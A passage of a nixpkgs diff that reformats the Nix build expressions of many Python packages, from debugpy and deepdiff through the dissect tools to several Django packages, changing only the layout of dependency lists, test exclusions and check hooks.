-    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
-      # https://github.com/python/cpython/issues/74570#issuecomment-1093748531
-      export no_proxy='*';
-    '';
+  preCheck = ''
+    export DEBUGPY_PROCESS_SPAWN_TIMEOUT=0
+    export DEBUGPY_PROCESS_EXIT_TIMEOUT=0
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
+    # https://github.com/python/cpython/issues/74570#issuecomment-1093748531
+    export no_proxy='*';
+  '';
 
   postCheck = lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
     unset no_proxy
diff --git a/pkgs/development/python-modules/deepdiff/default.nix b/pkgs/development/python-modules/deepdiff/default.nix
index a4bcc20e3041..15802868c5d9 100644
--- a/pkgs/development/python-modules/deepdiff/default.nix
+++ b/pkgs/development/python-modules/deepdiff/default.nix
@@ -63,21 +63,21 @@ buildPythonPackage rec {
     tomli-w
     polars
     pandas
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
-  disabledTests =
-    [
-      # not compatible with pydantic 2.x
-      "test_pydantic1"
-      "test_pydantic2"
-      # Require pytest-benchmark
-      "test_cache_deeply_nested_a1"
-      "test_lfu"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Times out on darwin in Hydra
-      "test_repeated_timer"
-    ];
+  disabledTests = [
+    # not compatible with pydantic 2.x
+    "test_pydantic1"
+    "test_pydantic2"
+    # Require pytest-benchmark
+    "test_cache_deeply_nested_a1"
+    "test_lfu"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Times out on darwin in Hydra
+    "test_repeated_timer"
+  ];
 
   pythonImportsCheck = [ "deepdiff" ];
 
diff --git a/pkgs/development/python-modules/defcon/default.nix b/pkgs/development/python-modules/defcon/default.nix
index 75ecaf7a4a6a..06efc8018d32 100644
--- a/pkgs/development/python-modules/defcon/default.nix
+++ b/pkgs/development/python-modules/defcon/default.nix
@@ -24,12 +24,11 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ setuptools-scm ];
 
-  propagatedBuildInputs =
-    [
-      fonttools
-    ]
-    ++ fonttools.optional-dependencies.ufo
-    ++ fonttools.optional-dependencies.unicode;
+  propagatedBuildInputs = [
+    fonttools
+  ]
+  ++ fonttools.optional-dependencies.ufo
+  ++ fonttools.optional-dependencies.unicode;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/deltalake/default.nix b/pkgs/development/python-modules/deltalake/default.nix
index 93b592d465d4..3cd7f5ff5381 100644
--- a/pkgs/development/python-modules/deltalake/default.nix
+++ b/pkgs/development/python-modules/deltalake/default.nix
@@ -39,22 +39,20 @@ buildPythonPackage rec {
     pyarrow-hotfix
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
-  nativeBuildInputs =
-    [
-      pkg-config # openssl-sys needs this
-    ]
-    ++ (with rustPlatform; [
-      cargoSetupHook
-      maturinBuildHook
-    ]);
+  nativeBuildInputs = [
+    pkg-config # openssl-sys needs this
+  ]
+  ++ (with rustPlatform; [
+    cargoSetupHook
+    maturinBuildHook
+  ]);
 
   pythonImportsCheck = [ "deltalake" ];
 
diff --git a/pkgs/development/python-modules/denonavr/default.nix b/pkgs/development/python-modules/denonavr/default.nix
index 0692bead753c..d5a11fbb784b 100644
--- a/pkgs/development/python-modules/denonavr/default.nix
+++ b/pkgs/development/python-modules/denonavr/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     ftfy
     httpx
     netifaces
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/dependency-injector/default.nix b/pkgs/development/python-modules/dependency-injector/default.nix
index 8c75b9e5b916..cd48ac472e5e 100644
--- a/pkgs/development/python-modules/dependency-injector/default.nix
+++ b/pkgs/development/python-modules/dependency-injector/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytestCheckHook
     scipy
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "dependency_injector" ];
 
diff --git a/pkgs/development/python-modules/depyf/default.nix b/pkgs/development/python-modules/depyf/default.nix
index 3408fee712ec..a59dec3ac9ff 100644
--- a/pkgs/development/python-modules/depyf/default.nix
+++ b/pkgs/development/python-modules/depyf/default.nix
@@ -51,25 +51,24 @@ buildPythonPackage rec {
     torch
   ];
 
-  disabledTestPaths =
-    [
-      #     if self.quitting: raise BdbQuit
-      # E   bdb.BdbQuit
-      "tests/test_pytorch/test_pytorch.py"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
+  disabledTestPaths = [
+    #     if self.quitting: raise BdbQuit
+    # E   bdb.BdbQuit
+    "tests/test_pytorch/test_pytorch.py"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
 
-      # depyf.decompiler.DecompilationError: DecompilationError: Failed to decompile instruction ...
-      # NotImplementedError: Unsupported instruction: LOAD_FAST_LOAD_FAST
-      "tests/test_code_owner.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # E   torch._dynamo.exc.BackendCompilerFailed: backend='inductor' raised:
-      # E   CppCompileError: C++ compile error
-      "tests/test_pytorch/test_export.py"
-      "tests/test_pytorch/test_logging.py"
-      "tests/test_pytorch/test_simple_graph.py"
-    ];
+    # depyf.decompiler.DecompilationError: DecompilationError: Failed to decompile instruction ...
+    # NotImplementedError: Unsupported instruction: LOAD_FAST_LOAD_FAST
+    "tests/test_code_owner.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # E   torch._dynamo.exc.BackendCompilerFailed: backend='inductor' raised:
+    # E   CppCompileError: C++ compile error
+    "tests/test_pytorch/test_export.py"
+    "tests/test_pytorch/test_logging.py"
+    "tests/test_pytorch/test_simple_graph.py"
+  ];
 
   # All remaining tests fail with:
   # ValueError: invalid literal for int() with base 10: 'L1'
diff --git a/pkgs/development/python-modules/desktop-notifier/default.nix b/pkgs/development/python-modules/desktop-notifier/default.nix
index a2b514901be5..565f2a369278 100644
--- a/pkgs/development/python-modules/desktop-notifier/default.nix
+++ b/pkgs/development/python-modules/desktop-notifier/default.nix
@@ -28,14 +28,13 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      bidict
-      packaging
-      typing-extensions
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ dbus-fast ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ rubicon-objc ];
+  dependencies = [
+    bidict
+    packaging
+    typing-extensions
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ dbus-fast ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ rubicon-objc ];
 
   # no tests available, do the imports check instead
   doCheck = false;
diff --git a/pkgs/development/python-modules/detectron2/default.nix b/pkgs/development/python-modules/detectron2/default.nix
index 67b5414ca40f..98002bbfefdb 100644
--- a/pkgs/development/python-modules/detectron2/default.nix
+++ b/pkgs/development/python-modules/detectron2/default.nix
@@ -148,48 +148,47 @@ buildPythonPackage {
     "tests/data/test_coco_evaluation.py"
   ];
 
-  disabledTests =
-    [
-      # fails for some reason
-      "test_checkpoint_resume"
-      "test_map_style"
-      # requires shapely
-      "test_resize_and_crop"
-      # require caffe2
-      "test_predict_boxes_tracing"
-      "test_predict_probs_tracing"
-      "testMaskRCNN"
-      "testRetinaNet"
-      # require coco dataset
-      "test_default_trainer"
-      "test_unknown_category"
-      "test_build_dataloader_train"
-      "test_build_iterable_dataloader_train"
-      # require network access
-      "test_opencv_exif_orientation"
-      "test_read_exif_orientation"
-      # use deprecated api, numpy.bool
-      "test_BWmode_nomask"
-      "test_draw_binary_mask"
-      "test_draw_empty_mask_predictions"
-      "test_draw_instance_predictions"
-      "test_draw_no_metadata"
-      "test_overlay_instances"
-      "test_overlay_instances_no_boxes"
-      "test_get_bounding_box"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      "test_build_batch_dataloader_inference"
-      "test_build_dataloader_inference"
-      "test_build_iterable_dataloader_inference"
-      "test_to_iterable"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # RuntimeError: required keyword attribute 'value' has the wrong type
-      "test_apply_deltas_tracing"
-      "test_imagelist_padding_tracing"
-      "test_roi_pooler_tracing"
-    ];
+  disabledTests = [
+    # fails for some reason
+    "test_checkpoint_resume"
+    "test_map_style"
+    # requires shapely
+    "test_resize_and_crop"
+    # require caffe2
+    "test_predict_boxes_tracing"
+    "test_predict_probs_tracing"
+    "testMaskRCNN"
+    "testRetinaNet"
+    # require coco dataset
+    "test_default_trainer"
+    "test_unknown_category"
+    "test_build_dataloader_train"
+    "test_build_iterable_dataloader_train"
+    # require network access
+    "test_opencv_exif_orientation"
+    "test_read_exif_orientation"
+    # use deprecated api, numpy.bool
+    "test_BWmode_nomask"
+    "test_draw_binary_mask"
+    "test_draw_empty_mask_predictions"
+    "test_draw_instance_predictions"
+    "test_draw_no_metadata"
+    "test_overlay_instances"
+    "test_overlay_instances_no_boxes"
+    "test_get_bounding_box"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    "test_build_batch_dataloader_inference"
+    "test_build_dataloader_inference"
+    "test_build_iterable_dataloader_inference"
+    "test_to_iterable"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # RuntimeError: required keyword attribute 'value' has the wrong type
+    "test_apply_deltas_tracing"
+    "test_imagelist_padding_tracing"
+    "test_roi_pooler_tracing"
+  ];
 
   pythonImportsCheck = [ "detectron2" ];
 
diff --git a/pkgs/development/python-modules/devito/default.nix b/pkgs/development/python-modules/devito/default.nix
index 3503ea42f522..115e5a725ff1 100644
--- a/pkgs/development/python-modules/devito/default.nix
+++ b/pkgs/development/python-modules/devito/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
     psutil
     py-cpuinfo
     sympy
-  ] ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   nativeCheckInputs = [
     gcc
@@ -69,69 +70,67 @@ buildPythonPackage rec {
     scipy
   ];
 
-  pytestFlagsArray =
-    [
-      "-x"
-      # Tests marked as 'parallel' require mpi and fail in the sandbox:
-      # FileNotFoundError: [Errno 2] No such file or directory: 'mpiexec'
-      "-m 'not parallel'"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # assert np.all(f.data == check)
-      # assert Data(False)
-      "--deselect tests/test_data.py::TestDataReference::test_w_data"
+  pytestFlagsArray = [
+    "-x"
+    # Tests marked as 'parallel' require mpi and fail in the sandbox:
+    # FileNotFoundError: [Errno 2] No such file or directory: 'mpiexec'
+    "-m 'not parallel'"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # assert np.all(f.data == check)
+    # assert Data(False)
+    "--deselect tests/test_data.py::TestDataReference::test_w_data"
 
-      # AssertionError: assert 'omp for schedule(dynamic,1)' == 'omp for coll...le(dynamic,1)'
-      "--deselect tests/test_dle.py::TestNestedParallelism::test_nested_cache_blocking_structure_subdims"
+    # AssertionError: assert 'omp for schedule(dynamic,1)' == 'omp for coll...le(dynamic,1)'
+    "--deselect tests/test_dle.py::TestNestedParallelism::test_nested_cache_blocking_structure_subdims"
 
-      # codepy.CompileError: module compilation failed
-      # FAILED compiler invocation
-      "--deselect tests/test_dle.py::TestNodeParallelism::test_dynamic_nthreads"
+    # codepy.CompileError: module compilation failed
+    # FAILED compiler invocation
+    "--deselect tests/test_dle.py::TestNodeParallelism::test_dynamic_nthreads"
 
-      # AssertionError: assert all(not i.pragmas for i in iters[2:])
-      "--deselect tests/test_dle.py::TestNodeParallelism::test_incr_perfect_sparse_outer"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # IndexError: tuple index out of range
-      "--deselect tests/test_dle.py::TestNestedParallelism"
+    # AssertionError: assert all(not i.pragmas for i in iters[2:])
+    "--deselect tests/test_dle.py::TestNodeParallelism::test_incr_perfect_sparse_outer"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # IndexError: tuple index out of range
+    "--deselect tests/test_dle.py::TestNestedParallelism"
 
-      # codepy.CompileError: module compilation failed
-      "--deselect tests/test_autotuner.py::test_nested_nthreads"
+    # codepy.CompileError: module compilation failed
+    "--deselect tests/test_autotuner.py::test_nested_nthreads"
 
-      # assert np.all(np.isclose(f0.data, check0))
-      # assert Data(false)
-      "--deselect tests/test_interpolation.py::TestSubDomainInterpolation::test_inject_subdomain"
-    ];
+    # assert np.all(np.isclose(f0.data, check0))
+    # assert Data(false)
+    "--deselect tests/test_interpolation.py::TestSubDomainInterpolation::test_inject_subdomain"
+  ];
 
-  disabledTests =
-    [
-      # Download dataset from the internet
-      "test_gs_2d_float"
-      "test_gs_2d_int"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # FAILED tests/test_unexpansion.py::Test2Pass::test_v0 - assert False
-      "test_v0"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # FAILED tests/test_caching.py::TestCaching::test_special_symbols - ValueError: not enough values to unpack (expected 3, got 2)
-      "test_special_symbols"
+  disabledTests = [
+    # Download dataset from the internet
+    "test_gs_2d_float"
+    "test_gs_2d_int"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # FAILED tests/test_unexpansion.py::Test2Pass::test_v0 - assert False
+    "test_v0"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # FAILED tests/test_caching.py::TestCaching::test_special_symbols - ValueError: not enough values to unpack (expected 3, got 2)
+    "test_special_symbols"
 
-      # FAILED tests/test_unexpansion.py::Test2Pass::test_v0 - codepy.CompileError: module compilation failed
-      "test_v0"
+    # FAILED tests/test_unexpansion.py::Test2Pass::test_v0 - codepy.CompileError: module compilation failed
+    "test_v0"
 
-      # AssertionError: assert(np.allclose(grad_u.data, grad_v.data, rtol=tolerance, atol=tolerance))
-      "test_gradient_equivalence"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # Numerical tests
-      "test_lm_fb"
-      "test_lm_ds"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # Numerical error
-      "test_pow_precision"
-    ];
+    # AssertionError: assert(np.allclose(grad_u.data, grad_v.data, rtol=tolerance, atol=tolerance))
+    "test_gradient_equivalence"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # Numerical tests
+    "test_lm_fb"
+    "test_lm_ds"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # Numerical error
+    "test_pow_precision"
+  ];
 
   disabledTestPaths =
     lib.optionals
diff --git a/pkgs/development/python-modules/diffimg/default.nix b/pkgs/development/python-modules/diffimg/default.nix
index f263bdf48fad..a6a412a82fca 100644
--- a/pkgs/development/python-modules/diffimg/default.nix
+++ b/pkgs/development/python-modules/diffimg/default.nix
@@ -21,15 +21,14 @@ buildPythonPackage {
 
   # it imports the wrong diff,
   # fix offered to upstream https://github.com/nicolashahn/diffimg/pull/6
-  postPatch =
-    ''
-      substituteInPlace diffimg/test.py \
-        --replace-warn "from diff import diff" "from diffimg.diff import diff"
-    ''
-    + lib.optionalString (pythonAtLeast "3.12") ''
-      substituteInPlace diffimg/test.py \
-        --replace-warn "3503192421617232" "3503192421617233"
-    '';
+  postPatch = ''
+    substituteInPlace diffimg/test.py \
+      --replace-warn "from diff import diff" "from diffimg.diff import diff"
+  ''
+  + lib.optionalString (pythonAtLeast "3.12") ''
+    substituteInPlace diffimg/test.py \
+      --replace-warn "3503192421617232" "3503192421617233"
+  '';
 
   propagatedBuildInputs = [ pillow ];
 
diff --git a/pkgs/development/python-modules/diffusers/default.nix b/pkgs/development/python-modules/diffusers/default.nix
index 7b729242c3dd..c7b40c5d706e 100644
--- a/pkgs/development/python-modules/diffusers/default.nix
+++ b/pkgs/development/python-modules/diffusers/default.nix
@@ -103,7 +103,8 @@ buildPythonPackage rec {
     sentencepiece
     torchsde
     transformers
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck =
     let
@@ -135,28 +136,27 @@ buildPythonPackage rec {
 
   pytestFlagsArray = [ "tests/" ];
 
-  disabledTests =
-    [
-      # depends on current working directory
-      "test_deprecate_stacklevel"
-      # fails due to precision of floating point numbers
-      "test_full_loop_no_noise"
-      "test_model_cpu_offload_forward_pass"
-      # tries to run ruff which we have intentionally removed from nativeCheckInputs
-      "test_is_copy_consistent"
+  disabledTests = [
+    # depends on current working directory
+    "test_deprecate_stacklevel"
+    # fails due to precision of floating point numbers
+    "test_full_loop_no_noise"
+    "test_model_cpu_offload_forward_pass"
+    # tries to run ruff which we have intentionally removed from nativeCheckInputs
+    "test_is_copy_consistent"
 
-      # Require unpackaged torchao:
-      # importlib.metadata.PackageNotFoundError: No package metadata was found for torchao
-      "test_load_attn_procs_raise_warning"
-      "test_save_attn_procs_raise_warning"
-      "test_save_load_lora_adapter_0"
-      "test_save_load_lora_adapter_1"
-      "test_wrong_adapter_name_raises_error"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # RuntimeError: Dynamo is not supported on Python 3.12+
-      "test_from_save_pretrained_dynamo"
-    ];
+    # Require unpackaged torchao:
+    # importlib.metadata.PackageNotFoundError: No package metadata was found for torchao
+    "test_load_attn_procs_raise_warning"
+    "test_save_attn_procs_raise_warning"
+    "test_save_load_lora_adapter_0"
+    "test_save_load_lora_adapter_1"
+    "test_wrong_adapter_name_raises_error"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # RuntimeError: Dynamo is not supported on Python 3.12+
+    "test_from_save_pretrained_dynamo"
+  ];
 
   passthru.tests.pytest = diffusers.overridePythonAttrs { doCheck = true; };
 
diff --git a/pkgs/development/python-modules/discordpy/default.nix b/pkgs/development/python-modules/discordpy/default.nix
index 922d2535013d..592bb9495422 100644
--- a/pkgs/development/python-modules/discordpy/default.nix
+++ b/pkgs/development/python-modules/discordpy/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage {
   dependencies = [
     aiohttp
     audioop-lts
-  ] ++ lib.optionals withVoice [ pynacl ];
+  ]
+  ++ lib.optionals withVoice [ pynacl ];
 
   patchPhase = lib.optionalString withVoice ''
     substituteInPlace "discord/opus.py" \
diff --git a/pkgs/development/python-modules/disnake/default.nix b/pkgs/development/python-modules/disnake/default.nix
index 6aa8bfc4d851..5c70ba2277f8 100644
--- a/pkgs/development/python-modules/disnake/default.nix
+++ b/pkgs/development/python-modules/disnake/default.nix
@@ -27,15 +27,14 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      aiohttp
-    ]
-    ++ lib.optionals withVoice [
-      libopus
-      pynacl
-      ffmpeg
-    ];
+  dependencies = [
+    aiohttp
+  ]
+  ++ lib.optionals withVoice [
+    libopus
+    pynacl
+    ffmpeg
+  ];
 
   postPatch = lib.optionalString withVoice ''
     substituteInPlace "disnake/opus.py" \
diff --git a/pkgs/development/python-modules/dissect-cobaltstrike/default.nix b/pkgs/development/python-modules/dissect-cobaltstrike/default.nix
index 8cd3e3f982f6..4c8bdc38dfae 100644
--- a/pkgs/development/python-modules/dissect-cobaltstrike/default.nix
+++ b/pkgs/development/python-modules/dissect-cobaltstrike/default.nix
@@ -68,7 +68,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-httpserver
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "dissect.cobaltstrike" ];
 
diff --git a/pkgs/development/python-modules/dissect-target/default.nix b/pkgs/development/python-modules/dissect-target/default.nix
index b1b4cd6fa460..5d57dcc762c9 100644
--- a/pkgs/development/python-modules/dissect-target/default.nix
+++ b/pkgs/development/python-modules/dissect-target/default.nix
@@ -102,7 +102,8 @@ buildPythonPackage rec {
       ruamel-yaml
       yara-python
       zstandard
-    ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+    ]
+    ++ lib.optionals (pythonOlder "3.11") [ tomli ];
     yara = [ yara-python ] ++ optional-dependencies.full;
     smb = [ impacket ] ++ optional-dependencies.full;
     mqtt = [ paho-mqtt ] ++ optional-dependencies.full;
@@ -111,44 +112,44 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     docutils
     pytestCheckHook
-  ] ++ optional-dependencies.full;
+  ]
+  ++ optional-dependencies.full;
 
   pythonImportsCheck = [ "dissect.target" ];
 
-  disabledTests =
-    [
-      "test_cpio"
-      "test_env_parser"
-      "test_cp_directory"
-      "test_cp_subdirectories"
-      "test_shell_cli"
-      "test_shell_cmd"
-      # Test requires rdump
-      "test_exec_target_command"
-      # Issue with tar file
-      "test_dpapi_decrypt_blob"
-      "test_md"
-      "test_nested_md_lvm"
-      "test_notifications_appdb"
-      "test_notifications_wpndatabase"
-      "test_tar_anonymous_filesystems"
-      "test_tar_sensitive_drive_letter"
-      # Tests compare dates and times
-      "yum"
-      # Filesystem access, windows defender tests
-      "test_config_tree_plugin"
-      "test_defender_quarantine_recovery"
-      "test_execute_pipeline"
-      "test_keychain_register_keychain_file"
-      "test_plugins_child_docker"
-      "test_plugins_child_wsl"
-      "test_reg_output"
-      "test_regflex"
-      "test_systemd_basic_syntax"
-      "test_target"
-      "test_yara"
-    ]
-    ++
+  disabledTests = [
+    "test_cpio"
+    "test_env_parser"
+    "test_cp_directory"
+    "test_cp_subdirectories"
+    "test_shell_cli"
+    "test_shell_cmd"
+    # Test requires rdump
+    "test_exec_target_command"
+    # Issue with tar file
+    "test_dpapi_decrypt_blob"
+    "test_md"
+    "test_nested_md_lvm"
+    "test_notifications_appdb"
+    "test_notifications_wpndatabase"
+    "test_tar_anonymous_filesystems"
+    "test_tar_sensitive_drive_letter"
+    # Tests compare dates and times
+    "yum"
+    # Filesystem access, windows defender tests
+    "test_config_tree_plugin"
+    "test_defender_quarantine_recovery"
+    "test_execute_pipeline"
+    "test_keychain_register_keychain_file"
+    "test_plugins_child_docker"
+    "test_plugins_child_wsl"
+    "test_reg_output"
+    "test_regflex"
+    "test_systemd_basic_syntax"
+    "test_target"
+    "test_yara"
+  ]
+  ++
     # test is broken on Darwin
     lib.optional stdenv.hostPlatform.isDarwin "test_fs_attrs_no_os_listxattr";
 
diff --git a/pkgs/development/python-modules/dissect/default.nix b/pkgs/development/python-modules/dissect/default.nix
index 9bc99f3c1615..8f4dd5cb2f29 100644
--- a/pkgs/development/python-modules/dissect/default.nix
+++ b/pkgs/development/python-modules/dissect/default.nix
@@ -83,7 +83,8 @@ buildPythonPackage rec {
     dissect-vmfs
     dissect-volume
     dissect-xfs
-  ] ++ dissect-target.optional-dependencies.full;
+  ]
+  ++ dissect-target.optional-dependencies.full;
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/distributed/default.nix b/pkgs/development/python-modules/distributed/default.nix
index 522add7a8098..6f2bb78a106f 100644
--- a/pkgs/development/python-modules/distributed/default.nix
+++ b/pkgs/development/python-modules/distributed/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     setuptools
     setuptools-scm
     versioneer
-  ] ++ versioneer.optional-dependencies.toml;
+  ]
+  ++ versioneer.optional-dependencies.toml;
 
   pythonRelaxDeps = [ "dask" ];
 
diff --git a/pkgs/development/python-modules/dj-rest-auth/default.nix b/pkgs/development/python-modules/dj-rest-auth/default.nix
index dffa779db8b7..a00c31ab7aed 100644
--- a/pkgs/development/python-modules/dj-rest-auth/default.nix
+++ b/pkgs/development/python-modules/dj-rest-auth/default.nix
@@ -56,13 +56,15 @@ buildPythonPackage rec {
 
   optional-dependencies.with_social = [
     django-allauth
-  ] ++ django-allauth.optional-dependencies.socialaccount;
+  ]
+  ++ django-allauth.optional-dependencies.socialaccount;
 
   nativeCheckInputs = [
     djangorestframework-simplejwt
     responses
     unittest-xml-reporting
-  ] ++ optional-dependencies.with_social;
+  ]
+  ++ optional-dependencies.with_social;
 
   checkInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/django-allauth/default.nix b/pkgs/development/python-modules/django-allauth/default.nix
index 7de34b9ca763..77743d4d76fd 100644
--- a/pkgs/development/python-modules/django-allauth/default.nix
+++ b/pkgs/development/python-modules/django-allauth/default.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
       requests
       requests-oauthlib
       pyjwt
-    ] ++ pyjwt.optional-dependencies.crypto;
+    ]
+    ++ pyjwt.optional-dependencies.crypto;
     steam = [ python3-openid ];
   };
 
@@ -92,7 +93,8 @@ buildPythonPackage rec {
     pytest-django
     pytestCheckHook
     pyyaml
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = [
     # Tests require network access
diff --git a/pkgs/development/python-modules/django-anymail/default.nix b/pkgs/development/python-modules/django-anymail/default.nix
index a01df2135750..3ffbd7d39494 100644
--- a/pkgs/development/python-modules/django-anymail/default.nix
+++ b/pkgs/development/python-modules/django-anymail/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     responses
-  ] ++ optional-dependencies.amazon-ses;
+  ]
+  ++ optional-dependencies.amazon-ses;
 
   optional-dependencies = {
     amazon-ses = [ boto3 ];
diff --git a/pkgs/development/python-modules/django-bootstrap5/default.nix b/pkgs/development/python-modules/django-bootstrap5/default.nix
index 7b7f2bba0620..4f90dc026c23 100644
--- a/pkgs/development/python-modules/django-bootstrap5/default.nix
+++ b/pkgs/development/python-modules/django-bootstrap5/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     pillow
     pytest-django
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     export DJANGO_SETTINGS_MODULE=tests.app.settings
diff --git a/pkgs/development/python-modules/django-filingcabinet/default.nix b/pkgs/development/python-modules/django-filingcabinet/default.nix
index 8e9e8b46d6e0..78fc0f5d76ae 100644
--- a/pkgs/development/python-modules/django-filingcabinet/default.nix
+++ b/pkgs/development/python-modules/django-filingcabinet/default.nix
@@ -125,13 +125,12 @@ buildPythonPackage rec {
     "test_document_viewer"
   ];
 
-  preCheck =
-    ''
-      export DJANGO_SETTINGS_MODULE="test_project.settings"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isRiscV) ''
-      export PLAYWRIGHT_BROWSERS_PATH="${playwright-driver.browsers}"
-    '';
+  preCheck = ''
+    export DJANGO_SETTINGS_MODULE="test_project.settings"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isRiscV) ''
+    export PLAYWRIGHT_BROWSERS_PATH="${playwright-driver.browsers}"
+  '';
 
   pythonImportsCheck = [ "filingcabinet" ];
 
diff --git a/pkgs/development/python-modules/django-haystack/default.nix b/pkgs/development/python-modules/django-haystack/default.nix
index 1ee1380b48f4..3074361bcc6e 100644
--- a/pkgs/development/python-modules/django-haystack/default.nix
+++ b/pkgs/development/python-modules/django-haystack/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
     python-dateutil
     requests
     whoosh
-  ] ++ optional-dependencies.elasticsearch;
+  ]
+  ++ optional-dependencies.elasticsearch;
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/python-modules/django-import-export/default.nix b/pkgs/development/python-modules/django-import-export/default.nix
index 4dc5c199bcec..a41752da2c7e 100644
--- a/pkgs/development/python-modules/django-import-export/default.nix
+++ b/pkgs/development/python-modules/django-import-export/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     chardet
     psycopg2
     pytz
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/python-modules/django-mailman3/default.nix b/pkgs/development/python-modules/django-mailman3/default.nix
index ac40a0b9ca9e..b2836f93bc56 100644
--- a/pkgs/development/python-modules/django-mailman3/default.nix
+++ b/pkgs/development/python-modules/django-mailman3/default.nix
@@ -34,15 +34,14 @@ buildPythonPackage rec {
 
   build-system = [ pdm-backend ];
 
-  dependencies =
-    [
-      django-allauth
-      django-gravatar2
-      mailmanclient
-      pytz
-    ]
-    ++ django-allauth.optional-dependencies.openid
-    ++ django-allauth.optional-dependencies.socialaccount;
+  dependencies = [
+    django-allauth
+    django-gravatar2
+    mailmanclient
+    pytz
+  ]
+  ++ django-allauth.optional-dependencies.openid
+  ++ django-allauth.optional-dependencies.socialaccount;
 
